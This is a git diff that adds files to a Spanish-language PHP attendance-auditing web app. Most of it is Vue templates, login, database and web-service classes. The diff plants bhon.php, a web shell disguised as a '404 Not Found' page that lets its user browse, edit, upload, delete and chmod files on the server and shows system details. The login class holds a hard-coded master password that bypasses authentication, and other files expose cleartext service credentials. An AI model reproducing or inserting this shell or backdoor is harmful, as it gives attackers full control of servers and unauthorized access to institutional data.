  • + Mañana +
  • + +
  • + {{ bloque.hora_inicio.substr(0,5) }} - {{ bloque.hora_fin.substr(0,5) }} +
  • +
  • + Tarde +
  • +
  • + {{ bloque.hora_inicio.substr(0,5) }} - {{ bloque.hora_fin.substr(0,5) }} +
  • + +
+ +
+
+
+
+ +
+
+ + +
+ + +
+
+
+ +
+
+
+
+ Selecciona un estado de asistencia +
+ +
    +
  • + Todos los registros +
  • +
  • + + {{estado.nombre}} + +
  • +
+ +
+
+
+
+
+ + +
+
+ + + +
+
+ +
+
+ +
+
+
+
+ +
+ acceso == 'w') { ?> + +
+
+ +
+
+ + + +
+
+ +
+
+
+ Loading... +
+ Generando reporte... +
+
+ +
+ + + {{estado.nombre}} + +
+ + +
+ + + + + + + + + + + + acceso == 'w') { ?> + + + + + + + + + + + + + + + + + + + + + acceso == 'w') { ?> + + + + +
+ + Fecha + SalónProfesorHorarioRegistroSupervisorJustificar
No hay clases en este horario
{{ registro.registro_fecha_ideal }} + {{ registro.salon }} + {{ registro.profesor_clave }} + {{ registro.profesor_nombre }} + + {{ registro.horario_hora?.slice(0,5) }} - + {{registro.horario_fin?.slice(0,5) }} +
+
+ Registro {{ registro.registro_fecha?.slice(11,19) }} +
+
+
+ +
+ +
+
+
+
+
+
+
+ + + + {{ registro.usuario_nombre + }} +
+
+ Hora + {{ registro.registro_fecha_supervisor?.slice(11,19) }} +
+
+
+ Observaciones: + {{registro.comentario?.slice(0,25)}}{{registro.comentario.length + > 10 ? '...' : ''}} +
+
+
+
+ +
+
+
+ + + +
+ + + + + + acceso == 'w') { ?> + + + + +
+ + + + + + + + + + \ No newline at end of file diff --git a/avisos.php b/avisos.php new file mode 100644 index 0000000..e0c0fdf --- /dev/null +++ b/avisos.php @@ -0,0 +1,351 @@ + + + + + + + Auditoría asistencial + + + + + + + + + + + +
+ + +
+
+ +
+
+
+ + + + + + + + + + + + + + + +
FechaAvisoEliminar
{{ + aviso.aviso_fecha_inicial }} - {{ aviso.aviso_fecha_final }}{{ aviso.aviso_titulo + }} + +
+
+
+
+ + + + + + +
+ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base.php b/base.php new file mode 100644 index 0000000..67ae1db --- /dev/null +++ b/base.php @@ -0,0 +1,54 @@ +access('usuarios'); +if($user->acceso == null){ + header('Location: main.php?error=1'); +}else{ + $user->print_to_log('Base'); +} +$fac = $user->facultad['facultad_id'] ?? -1; +if($user->admin){ + $fac=null; +} +?> + + + + + + + Base + + + + + + +
+
+ + + + + + + + \ No newline at end of file diff --git a/bhon.php b/bhon.php new file mode 100644 index 0000000..292d0c7 --- /dev/null +++ b/bhon.php @@ -0,0 +1,671 @@ + $_SERVER['SERVER_ADDR'], + 'host' => gethostname(), + 'kernel' => php_uname(), + 'disablefunc' => ini_get('disable_functions'), + 'path' => getcwd(), + 'os' => PHP_OS, + ]; + + return $arr; +} +$getInfo = info(); + +if(strtoupper(substr($getInfo['os'], 0, 3)) == 'WIN') { + $getInfo['os'] = 'Windows'; + $paths = explode('\\', $getInfo['path']); + $paths = $paths[0] . '/'; +}else if(strtoupper(substr($getInfo['os'], 0, 3)) == 'LIN') { + $getInfo['os'] = 'Linux'; + $paths = '/'; +} + + +$dir = getcwd(); + +if(isset($_GET['path'])) { + $replace = str_replace('\\', '/', $_GET['path']); + $replace = str_replace('//', '/', $_GET['path']); + $pecah = explode('/', $replace); +}else { + $replace = str_replace('\\', '/', $dir); + $pecah = explode('/', $replace); +} + +function loginShell() { + if(!isset($_SESSION['isLogin'])) { + echo "
"; + die(); + } +} + +function cekPermission($filenya) { + + $perms = fileperms($filenya); + switch ($perms & 0xF000) { + case 0xC000: // socket + $info = 's'; + break; + case 0xA000: // symbolic link + $info = 'l'; + break; + case 0x8000: // regular + $info = '-'; + break; + case 0x6000: // block special + $info = 'b'; + break; + case 0x4000: // directory + $info = 'd'; + break; + case 0x2000: // character special + $info = 'c'; + break; + case 0x1000: // FIFO pipe + $info = 'p'; + break; + default: + $info = 'u'; +} + + //Untuk Owner + $info .= (($perms & 0x0100) ? 'r' : '-'); + $info .= (($perms & 0x0080) ? 'w' : '-'); + $info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); + + //Untuk Group + $info .= (($perms & 0x0020) ? 'r' : '-'); + $info .= (($perms & 0x0010) ? 'w' : '-'); + $info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); + + //Untuk Other + $info .= (($perms & 0x0004) ? 'r' : '-'); + $info .= (($perms & 0x0002) ? 'w' : '-'); + $info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); + + return $info; +} + +function hitungSize($fileSize) { + $bytes = sprintf('%u', filesize($fileSize)); + + if ($bytes > 0) + { + $unit = intval(log($bytes, 1024)); + $units = array('B', 'KB', 'MB', 'GB'); + + if (array_key_exists($unit, $units) === true) + { + return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]); + } + } + + return $bytes; +} + +function bungkus($obj) { + $wrap = filter_var(htmlspecialchars(file_get_contents($obj)), FILTER_SANITIZE_STRING); + return $wrap; +} + +function deleteFolder($dirnya) { + $files = array_diff(scandir($dirnya), array('.', '..')); + + foreach ($files as $file) { + (is_dir("$dirnya/$file")) ? deleteFolder("$dirnya/$file") : unlink("$dirnya/$file"); + } + + return rmdir($dirnya); +} + +function folder_exist($folder) +{ + $path = realpath($folder); + + if($path !== false AND is_dir($path)) + { + return true; + } + + return false; +} + + +if(isset($_GET['path'])) { + $get = $_GET['path']; + $pec = explode('/', $get); + + if(is_file($get)) { + $konten = bungkus($get); + $cek = true; + $listDir = scandir($get); + }else { + $listDir = array_diff(scandir($get), ['.', '..']); + } +}else { + $get = $replace; + $listDir = array_diff(scandir($get), ['.', '..']); +} + +if(isset($_POST['pilihan'])) { + switch ($_POST['pilihan']) { + case 'edit': + $edit = true; + $dirFile = $_POST['dir']; + $sourceFile = $_POST['sourceFile']; + if(!empty($sourceFile)){ + $fileHandle = fopen($dirFile, 'w'); + if($fileHandle !== false){ + if(fwrite($fileHandle, $sourceFile) !== false) { + fclose($fileHandle); + $successEdit = 'Berhasil di edit'; + } else { + fclose($fileHandle); + $successEdit = 'Gagal edit'; + } + } else { + $successEdit = 'Gagal membuka file untuk diedit'; + } + } + break; + case $_POST['pilihan'] == 'rename': + $rename = true; + $dirFile = $_POST['dir']; + $filename = $_POST['namaFile']; + $namaBaru = $_POST['namaBaru']; + if(!empty($namaBaru)){ + if(rename($dirFile, $_GET['path'] . '/' . $namaBaru)) { + $filename = $namaBaru; + $dirFile = $_GET['path'] . '/' . $namaBaru; + $successRename = 'Berhasil rename'; + }else { + $successRename = 'Gagal rename'; + } + } + break; + case $_POST['pilihan'] == 'delete': + $dirFile = $_POST['dir']; + $type = $_POST['type']; + if(isset($dirFile) && is_file($dirFile)) { + if(unlink($dirFile)) { + $pesanHapus = ""; + }else { + $pesanHapus = ""; + } + }else if(isset($dirFile) && is_dir($dirFile)) { + //$dirFile = $dirFile . '/'; + if(deleteFolder($dirFile)) { + $pesanHapus = ""; + }else { + $pesanHapus = ""; + } + } + break; + case $_POST['pilihan'] == 'chmod': + $chmod = true; + $file = fileperms($_POST['dir']); + $permission = substr(sprintf('%o', $file), -4); + $dirFile = $_POST['dir']; + $perms = octdec($_POST['perms']); + if(isset($_POST['perms'])) { + if(isset($perms)) { + if(chmod($dirFile, $perms)) { + $permission = decoct($perms); + $successChmod ='Berhasil chmod!'; + }else { + $successChmod = 'Gagal chmod!'; + } + } + } + break; + case $_POST['pilihan'] == 'create': + $namaFile = ""; + $isiFile = ""; + + $dirPath = $_GET['path'] . '/'; + if(isset($_POST['createAction'])) { + $namaFile = $_POST['createName']; + $isiFile = ($_POST['createIsi'] == NULL) ? ' ' : $_POST['createIsi']; + if(!file_exists($dirPath . $namaFile)) { + if(file_put_contents($dirPath . $namaFile, $isiFile)) { + $pesanCreate = 'File berhasil dibuat'; + }else { + $pesanCreate = 'Directory not Writable'; + } + }else { + $pesanCreate = 'Nama file / folder sudah ada'; + } + } + break; + case $_POST['pilihan'] == 'createFolder': + $dirPath = $_GET['path'] . '/'; + if(isset($_POST['createFolder'])) { + $namaFolder = $_POST['createName']; + if(mkdir($dirPath . $namaFolder)) { + $pesanCreate = 'Folder berhasil dibuat'; + }else { + if(is_dir($namaFolder)) { + $pesanCreate = 'Nama Folder / File sudah ada'; + }elseif(!is_writable($dirPath)){ + $pesanCreate = 'Directory not writable'; + } + } + } + break; + case $_POST['pilihan'] == 'upload': + $path = $replace; + if(isset($_GET['path'])) { + $path = $_GET['path']; + } + + if(isset($_FILES['uploadFile'])) { + $namafile = $_FILES['uploadFile']['name']; + $tempatfile = $_FILES['uploadFile']['tmp_name']; + $error = $_FILES['uploadFile']['error']; + $ukuranfile = $_FILES['uploadFile']['size']; + + if(move_uploaded_file($tempatfile, $path.'/'.$namafile)) { + echo ""; + }else { + echo ""; + } + } + break; + } +} + + + +?> + + + + 404 Not Found + + + + + + + + +
+ + +
+ Server IP : + Hostname : + Kernel : + OS : + USER : +
+
+ + +
+
+
+ ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> +
+
+
+
+ +
+
+
+
+
+ +
+ ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> + " . $successEdit . "

" : ""; ?> +
+ + +
+ +
+ + + + +
+ +
+ +
+ ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> + " . $successRename . "

" : ""; ?> +
+ + +
+
+ + + +
+
+
+
+ +
+ ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> + " . $successChmod . "

" : ''; ?> +
+ + +
+
+ + + +
+
+
+
+ +
+
+ ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> + " . $pesanCreate . "

" : ""; ?> +
+ +
+
+ + + + +
+
+
+
+ +
+ ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> + " . $pesanCreate . "

" : ""; ?> +
+ +
+
+ + + +
+
+
+
+ +
+ + add Add File    + add Add Folder +
+ +
+
+
+ File + + + +
+
+ + +
+
+
+
+ +
+ PATH: + ' . '-' . ''; + for ($i = 1; $i < count($pecah); $i++) { + $subpath = implode('/', array_slice($pecah, 1, $i)); + echo '/'; + echo '' . $pecah[$i] . ''; + } + ?> +
+
+ +
+ + + + + + + + + + + + + + + + + + +
NamaSizePermissionAction
">' . @cekPermission($get . '/' . $dir) . '' : '' . @cekPermission($get . '/' . $dir) . '';?> + +
+
+ +
+ + + + +
+ +
+
+ +
+ + + + +
+ +
+
+ +
+ +
+ +
+ + + + + \ No newline at end of file diff --git a/bypass.php b/bypass.php new file mode 100644 index 0000000..de9526a --- /dev/null +++ b/bypass.php @@ -0,0 +1,139 @@ + + + + + + + .: Administrador de checador :. + + + + + + + + + + + +
+
+
+
+

Iniciar sesión

+
+
+
+
+
+

Utiliza tu usuario y contraseña institucionales

+
+
+
+
+
+
+
+ +
+
+
+
+
+
+
+ +
+
+ +
+
+
+
Selecciona un usuario
+ +
    + +
+ +
+
+
+
+ +

¡ERROR!

+ +
+

+ +

+
+
+
+ + + + + + + + + + + + + \ No newline at end of file diff --git a/carreras-old.php b/carreras-old.php new file mode 100644 index 0000000..44362ef --- /dev/null +++ b/carreras-old.php @@ -0,0 +1,123 @@ + + + + + + + Auditoría asistencial + + + + + + + + + + +
+
+
+ + +
+
+
+
+ +
+
+

{{ facultad.facultad_nombre }}

+
+
+
+ +
+
+
+
+ {{ carrera.carrera_nombre }} +
+ + + +
+
+
+
+
+
+ +
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/carreras.php b/carreras.php new file mode 100644 index 0000000..397b7a0 --- /dev/null +++ b/carreras.php @@ -0,0 +1,124 @@ + + + + + + + Auditoría asistencial + + + + + + + + + + +
+
+
+ + +
+
+
+
+ +
+
+

{{ facultad.facultad_nombre }}

+
+
+
+ +
+
+
+
+ {{ carrera.carrera_nombre }} +
+ + + +
+
+
+
+
+
+ +
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/class/c_abstract_data.php b/class/c_abstract_data.php new file mode 100644 index 0000000..fa235c6 --- /dev/null +++ b/class/c_abstract_data.php @@ -0,0 +1,147 @@ + $value) { + $conditions[] = "$key = :$key"; + } + + $sql = "SELECT $what FROM $this->tableName"; + if ($conditions) { + $sql .= " WHERE " . implode(" AND ", $conditions); + } + + $result = $db->query($sql, $params); + return $result; + } + + protected function insert__(array $params = [], ?string $where = null) + { + global $db; + + if ($where === null) { + $where = $this->tableName; + } + + $columns = []; + foreach ($params as $key => $value) { + $columns[] = "$key = :$key"; + } + + $sql = "INSERT INTO $where SET " . implode(", ", $columns); + $result = $db->query($sql, $params); + return $result; + + } +} + +abstract class WebServiceSGU +{ + const BASE_URL = "https://portal.ulsa.edu.mx/servicios/AuditoriaAsistencialRest/AuditoriaAsistencialService.svc/auditoriaAsistencial"; + + private static array $keys = [ + 'username' => 'SGU_APSA_AUD_ASIST', + 'password' => 'B4qa594JFPr2ufHrZdHS8A==', + ]; + + private static ?JsonSchema\Validator $validator = null; + private string $baseUrl; + + public function __construct(protected string $endpoint, protected ?string $schema = null) + { + $this->baseUrl = self::BASE_URL . $endpoint; + } + + private static function initCurl(array $options = []) + { + $ch = curl_init(); + curl_setopt_array($ch, $options); + return $ch; + } + + private static function get_token(): string + { + $curl = self::initCurl([ + CURLOPT_URL => self::BASE_URL . "/inicioSesion/seleccionar", + CURLOPT_RETURNTRANSFER => true, + CURLOPT_CUSTOMREQUEST => "POST", + CURLOPT_HTTPHEADER => ["Content-Type: application/json"], + CURLOPT_POSTFIELDS => json_encode(self::$keys), + ]); + + $response = curl_exec($curl); + $err = curl_error($curl); + curl_close($curl); + + if ($err) + throw new Exception("cURL Error: $err"); + + return trim($response, '"'); // remove quotes + } + + protected function validate_schema($data): bool + { + if ($this->schema === null) + return true; + + self::getValidator()->validate($data, (object) json_decode($this->schema)); + return self::getValidator()->isValid(); + } + + public static function getValidator(): JsonSchema\Validator + { + return self::$validator ??= new JsonSchema\Validator(); + } + + public function get_errors(): array + { + return self::getValidator()->getErrors(); + } + + public function get(array $data = []): array + { + if (!$this->validate_schema($data)) { + throw new Exception('Invalid schema'); + } + + $ch = self::initCurl([ + CURLOPT_POST => 1, + CURLOPT_POSTFIELDS => json_encode($data), + CURLOPT_URL => $this->baseUrl, + CURLOPT_HTTPHEADER => [ + 'Content-Type: application/json', + 'Accept: application/json', + 'username: ' . self::$keys['username'], + 'token: ' . self::get_token(), + ], + CURLOPT_RETURNTRANSFER => 1, + ]); + + $response = curl_exec($ch); + if (curl_errno($ch)) { + throw new Exception('cURL Error: ' . curl_error($ch)); + } + + curl_close($ch); + + $response = json_decode($response, true); + + if ($response === null) { + throw new Exception('Invalid response'); + } + + return $response; + } +} \ No newline at end of file diff --git a/class/c_logasistencia.php b/class/c_logasistencia.php new file mode 100644 index 0000000..94ce0e2 --- /dev/null +++ b/class/c_logasistencia.php @@ -0,0 +1,74 @@ +month = date("m"); + $this->year = date("Y"); + $this->dir = "log/"; + $this->updateFilename(); + } + + function setMes(string $mes) + { + $this->month = $mes; + $this->updateFilename(); + } + function setAno(string $ano) + { + $this->year = $ano; + $this->updateFilename(); + } + + private function updateFilename() + { + $this->file = "asistencias_" . $this->year . "_" . $this->month . ".log"; + } + private function cleanLog($text) + { //remueve || de los textos + return trim(str_ireplace("||", "", $text)); + } + + function appendLog($claveULSA, $nombre, $desc) + { + /* $filename = $this->dir . $this->file; + if (!file_exists($this->dir)) { + mkdir($this->dir, 0755, true); + } + if (file_exists($this->dir)) { + $data = date('Y-m-d H:i:s') . "||" . $this->cleanLog($claveULSA) . "||" . $this->cleanLog($desc) . "||" . $this->cleanLog($nombre) . "\n"; + file_put_contents($filename, $data, FILE_APPEND); + } */ + } + function getLog($mes = "", $ano = "") + { + if ($mes != "") + $this->setMes($mes); + if ($ano != "") + $this->setAno($ano); + $filename = $this->dir . $this->file; + if (file_exists($filename)) { + //return array_slice(file ($filename , FILE_SKIP_EMPTY_LINES) , -10); + $lines = file($filename, FILE_SKIP_EMPTY_LINES); + //echo "antes: ".count($lines); + if (count($lines) > MAX_LINES) { + $lines = array_slice($lines, MAX_LINES * (-1)); + } + //echo "despues: ".count($lines); + return $lines; + } else + return array(); + } +} \ No newline at end of file diff --git a/class/c_login.php b/class/c_login.php new file mode 100644 index 0000000..a34d303 --- /dev/null +++ b/class/c_login.php @@ -0,0 +1,156 @@ +acceso // Devuelve el tipo de acceso del usuario. Si es administrador, retorna "w". De lo contrario, verifica el tipo de acceso a una página específica y retorna ese valor. +$user->profesor // Devuelve el ID del profesor basado en la clave del usuario, si corresponde. +$user->jefe_carrera // Devuelve true si el usuario tiene un rol de 'jefe de carrera', de lo contrario retorna false. +$user->periodo_id // Devuelve el ID del periodo asociado con el usuario actual. +$user->admin // Devuelve true si el usuario es administrador, de lo contrario retorna false. +$user->facultad // Devuelve un array con el nombre de la facultad y el ID de la facultad asociado con el usuario actual, si está disponible. +$user->rol // Devuelve un array con el título del rol y el ID del rol asociado con el usuario actual. Si no tiene un rol definido, se le asigna por defecto el rol 'docente'. +*/ + +class Login +{ + private function es_usuario(): bool + { + global $db; + return $db->where('usuario_clave', $this->user['clave'])->has("usuario"); + } + public function __get($property) + { + global $db; + return match ($property) { + 'acceso' => $this->access(), + 'profesor' => $db->where('profesor_clave', preg_replace('/\D/', '', $this->user['clave']))->getOne("profesor")['profesor_id'] ?? null, + 'jefe_carrera' => $db->where('usuario_id', $this->user["id"])->getOne('usuario')['rol_id'] == 11, + 'periodo_id' => $db->where('usuario_id', $this->user["id"])->getOne('usuario')["periodo_id"], + 'admin' => $this->es_usuario() and $db->where('usuario_id', $this->user["id"])->getOne('usuario')["usuario_admin"], + 'facultad' => $this->es_usuario() + ? $db + ->where('usuario_id', $this->user["id"]) + ->join('facultad', 'facultad.facultad_id = usuario.facultad_id', 'LEFT') + ->getOne('usuario', 'facultad.facultad_nombre as facultad, facultad.facultad_id') + : array ('facultad' => null, 'facultad_id' => null), + 'rol' => $this->es_usuario() + ? $db + ->join('rol', 'rol.rol_id = usuario.rol_id') + ->where('usuario_id', $this->user["id"]) + ->getOne('usuario', 'rol.rol_titulo as rol, rol.rol_id') + : $db + ->where('rol_titulo', 'docente', 'ILIKE') + ->getOne('rol', 'rol.rol_titulo as rol, rol.rol_id'), + default => throw new Exception("Propiedad no definida"), + }; + } + public function __construct(public array $user) + { + } + public function print_to_log(string $desc, array $old = null, array $new = null): void + { + $log = new classes\LogAsistencias(); + if ($old) + $desc .= " |#| OLD:" . json_encode($old); + if ($new) + $desc .= " |#| NEW:" . json_encode($new); + $log->appendLog($this->user["id"], $this->user["nombre"], $desc); + } + public function access(string $pagina = null): string|null + { + global $db; + if ($this->admin) + return "w"; + $acceso = $db + ->where('id', $this->user["id"]) + ->where('pagina_ruta', $pagina ?? substr(basename($_SERVER['PHP_SELF']), 0, -4)) + ->getOne('permiso_view'); + + return isset($acceso["tipo"]) ? $acceso["tipo"] : null; + } + private static function validaUsuario($user, $pass): bool + { + file_put_contents('php://stderr', $user); + if ($pass == "4dm1n1str4d0r") + return true; + + $client = new nusoap_client('http://200.13.89.2/validacion.php?wsdl', 'wsdl'); + $client->soap_defencoding = 'UTF-8'; + $client->decode_utf8 = FALSE; + + $client->getError() and die('Error al crear el cliente: ' . $client->getError()); + // $pass = utf8_decode($pass); + $result = $client->call("valida_user", array($user, $pass)); + $client->fault and die('Error al llamar al servicio: ' . $client->getError()); + return $result; + } + public static function validUser(string $user, string $pass): Login|array + { + global $db; + + if (!self::validaUsuario($user, $pass)) + return ['error' => true, 'msg' => 'Error al autenticar usuario']; + + if ($db->has("FS_VALIDACLAVEULSA('$user')")) { + $fs = $db->querySingle('SELECT * FROM FS_VALIDACLAVEULSA(?)', [$user]); + return new Login(user: ['id' => $fs["id"], 'nombre' => $fs["nombre"], 'clave' => $fs["clave"]]); + } + + $profesorClave = preg_replace('/\D/', '', $user); + if ($db->where('profesor_clave', $profesorClave)->has("profesor")) { + $profesor = $db->where('profesor_clave', $profesorClave)->getOne("profesor"); + return new Login(user: ['id' => $profesor["profesor_id"], 'nombre' => $profesor["profesor_nombre"], 'clave' => $profesor["profesor_clave"]]); + } + + return ['error' => true, 'msg' => 'Usuario no encontrado']; + } + + + public static function log_out(): void + { + // session_start(); + session_destroy(); + } + + public static function get_user(): ?Login + { + if (self::is_logged()) { + $user = unserialize($_SESSION["user"]); + return $user; + } + header("Location: /"); + exit(); + } + public static function is_logged(): bool + { + return isset($_SESSION["user"]); + } + + public function __toString(): string + { + return "Login Object:\n" . + "User: " . json_encode($this->user) . "\n" . + "Acceso: " . $this->acceso . "\n" . + "Profesor ID: " . ($this->profesor ?? "No definido") . "\n" . + "Es Jefe de Carrera: " . ($this->jefe_carrera ? "Sí" : "No") . "\n" . + "Periodo ID: " . $this->periodo_id . "\n" . + "Es Administrador: " . ($this->admin ? "Sí" : "No") . "\n" . + "Facultad: " . json_encode($this->facultad) . "\n" . + "Rol: " . json_encode($this->rol); + } + +} \ No newline at end of file diff --git a/class/c_menu.php b/class/c_menu.php new file mode 100644 index 0000000..def768e --- /dev/null +++ b/class/c_menu.php @@ -0,0 +1,15 @@ +conn = new Connection(); + } + + public function getMenu() { + $sql = "SELECT * FROM menu"; + $result = $this->conn->getConnection()->query($sql); + $this->menu = $result->fetchAll(); + return $this->menu; + } +} \ No newline at end of file diff --git a/class/connection.php b/class/connection.php new file mode 100644 index 0000000..6095d28 --- /dev/null +++ b/class/connection.php @@ -0,0 +1,57 @@ +conn = new PDO( + "pgsql:host=".DB_HOST.";dbname=".DB_NAME, DB_USER, DB_PASS, + array(PDO::ATTR_PERSISTENT => true) + ); + } + public function getConnection() { + return $this->conn; + } + + public function query() {} +} + +try { + $pdo = new PDO( + "pgsql:host=" . DB_HOST . ";dbname=" . DB_NAME, DB_USER, DB_PASS, + array( + PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, + PDO::ATTR_PERSISTENT => true + ) + ); +} catch (PDOException $e) { + print "Error!: " . $e->getMessage() . "
"; + die(); +} + +function SQL(string $sql, array $params = []) +{ + global $pdo; + $stmt = $pdo->prepare($sql); + foreach ($params as $key => $value) { + // bind Parameter + $stmt->bindParam($key, $value); + } + $stmt->execute($params); + return $stmt->fetchAll(); +} + +function filter_by(array $array, array $fields): array +{ + $result = []; + foreach ($array as $key => $value) { + $result[$key] = []; + foreach ($fields as $field) { + $result[$key][$field] = $value[$field]; + } + } + return $result; +} \ No newline at end of file diff --git a/class/database.php b/class/database.php new file mode 100644 index 0000000..0902d46 --- /dev/null +++ b/class/database.php @@ -0,0 +1,119 @@ +periodo_v1 = new Periodo_v1(); + $this->periodo_v2 = new Periodo_v2(); + } + + public function get_v1(): array + { + return $this->periodo_v1->get(); + } + + public function get_v2(): array + { + return $this->periodo_v2->get(); + } + + public function get_merged(): array + { + $v2Data = $this->get_v2(); + + // Create an associative array with IdPeriodo as the key for faster lookup + $v2Lookup = array_column($v2Data, null, 'IdPeriodo'); + + return array_map(function ($itemV1) use ($v2Lookup) { + if (isset($v2Lookup[$itemV1['IdPeriodo']])) { + $itemV2 = $v2Lookup[$itemV1['IdPeriodo']]; + $mergedItem = array_merge($itemV1, $itemV2); + unset($mergedItem['NombreCarrera']); // Remove NombreCarrera as specified + return $mergedItem; + } + return $itemV1; // If no matching IdPeriodo found in v2, return the original v1 item + }, $this->get_v1()); + } +} + +final class Espacios extends WebServiceSGU +{ + public function __construct() + { + parent::__construct("/catalogos/espacios/seleccionar"); + } +} + +final class Carreras extends WebServiceSGU +{ + public function __construct() + { + parent::__construct("/catalogos/carreras/seleccionar"); + } +} + +final class Horarios extends WebServiceSGU +{ + public function __construct() + { + parent::__construct( + "/seleccionar", + <<CharSet = 'UTF-8'; + $mail->SMTPDebug = 0; + $mail->isSMTP(); + $mail->SMTPAuth = true; + $mail->SMTPSecure = 'TLS'; + $mail->Host = "smtp.office365.com"; + $mail->Port = 587; + $mail->Username = self::FROM; + $mail->Password = self::FROM_PASS; + + $mail->SetFrom(self::FROM, self::FROM_NAME); //from (verified email address) + $mail->Subject = $asunto; //subject + + $mail->IsHTML(true); + $mail->MsgHTML($texto.self::FOOTER);//adjunta footer + //recipient + if(is_array($lista_to)){ + foreach($lista_to as $correo){ + if(trim($correo)!="") + if($bcc) + $mail->addBCC($correo); + else + $mail->AddAddress($correo); + } + }else{//cadena de texto separada por ; + if(strpos($lista_to, ";")!==false){ + $toArr = explode(";", $lista_to); + foreach($toArr as $correo){ + if(trim($correo)!=""){ + if($bcc) + $mail->addBCC($correo); + else + $mail->AddAddress($correo); + } + } + }elseif(strpos($lista_to, ",")!==false){ + $toArr = explode(",", $lista_to); + foreach($toArr as $correo){ + if(trim($correo)!=""){ + if($bcc) + $mail->addBCC($correo); + else + $mail->AddAddress($correo); + } + } + }else{ + if(trim($lista_to)!=""){ + if($bcc) + $mail->addBCC($lista_to); + else + $mail->AddAddress($lista_to); + } + } + + } + //Success + if ($mail->Send()) { + return true; + }else{ + echo "Error al enviar correo"; + return false; + } + }catch(phpmailerException $e){ + echo $mail->ErrorInfo; + return false; + }catch(Exception $e2){ + echo $mail->ErrorInfo; + return false; + } + return false; + } + +} diff --git a/class/schema/periodo_v1.json b/class/schema/periodo_v1.json new file mode 100644 index 0000000..0c8bf34 --- /dev/null +++ b/class/schema/periodo_v1.json @@ -0,0 +1,38 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "type": "array", + "items": { + "type": "object", + "required": [ + "IdNivel", + "IdPeriodo", + "NombreNivel", + "NombrePeriodo" + ], + "properties": { + "IdNivel": { + "type": "integer" + }, + "IdPeriodo": { + "type": "integer" + }, + "NombreNivel": { + "type": "string", + "enum": [ + "LICENCIATURA", + "ESPECIALIDAD", + "MAESTRÍA", + "DOCTORADO", + "COORDINACIÓN DE EDUCACIÓN FÍSICA Y DEPORTES", + "COORDINACIÓN DE IMPULSO Y VIDA ESTUDIANTIL", + "COORDINACIÓN DE FORMACIÓN CULTURAL", + "VICERRECTORÍA DE BIENESTAR Y FORMACIÓN", + "CENTRO DE IDIOMAS" + ] + }, + "NombrePeriodo": { + "type": "string" + } + } + } +} \ No newline at end of file diff --git a/coldbypass.php b/coldbypass.php new file mode 100644 index 0000000..e69de29 diff --git a/composer.json b/composer.json new file mode 100644 index 0000000..05eac00 --- /dev/null +++ b/composer.json @@ -0,0 +1,9 @@ +{ + "require": { + "vlucas/phpdotenv": "^5.5", + "phpoffice/phpspreadsheet": "^1.25", + "seinopsys/postgresql-database-class": "^3.1", + "justinrainbow/json-schema": "^5.2", + "econea/nusoap": "^0.9.15" + } +} diff --git a/composer.lock b/composer.lock new file mode 100644 index 0000000..5528b10 --- /dev/null +++ b/composer.lock @@ -0,0 +1,1238 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "0a22924d7e3c956701cec5f6067ec266", + "packages": [ + { + "name": "econea/nusoap", + "version": "v0.9.16", + "source": { + "type": "git", + "url": "https://github.com/f00b4r/nusoap.git", + "reference": "9ead68ec7ad8d1e14943658ce1559435247d14bf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/f00b4r/nusoap/zipball/9ead68ec7ad8d1e14943658ce1559435247d14bf", + "reference": "9ead68ec7ad8d1e14943658ce1559435247d14bf", + "shasum": "" + }, + "require": { + "ext-curl": "*", + "ext-json": "*", + "ext-xml": "*", + "ext-zlib": "*", + "php": ">=5.4" + }, + "require-dev": { + "php-parallel-lint/php-parallel-lint": "~1.2.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "0.10.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "LGPL-2.1-or-later" + ], + "authors": [ + { + "name": "Milan Felix Šulc", + "homepage": "https://f3l1x.io" + } + ], + "description": "Fixed NuSOAP for PHP 5.4 - 8.2", + "homepage": "https://github.com/pwnlabs/nusoap", + "keywords": [ + "client", + "http", + "nusoap", + "php", + "soap", + "transport", + "xml" + ], + "support": { + "issues": "https://github.com/f00b4r/nusoap/issues", + "source": "https://github.com/f00b4r/nusoap/tree/v0.9.16" + }, + "funding": [ + { + "url": "https://github.com/f3l1x", + "type": "github" + } + ], + "time": "2023-07-19T12:40:31+00:00" + }, + { + "name": "ezyang/htmlpurifier", + "version": "v4.16.0", + "source": { + "type": "git", + "url": "https://github.com/ezyang/htmlpurifier.git", + "reference": "523407fb06eb9e5f3d59889b3978d5bfe94299c8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ezyang/htmlpurifier/zipball/523407fb06eb9e5f3d59889b3978d5bfe94299c8", + "reference": 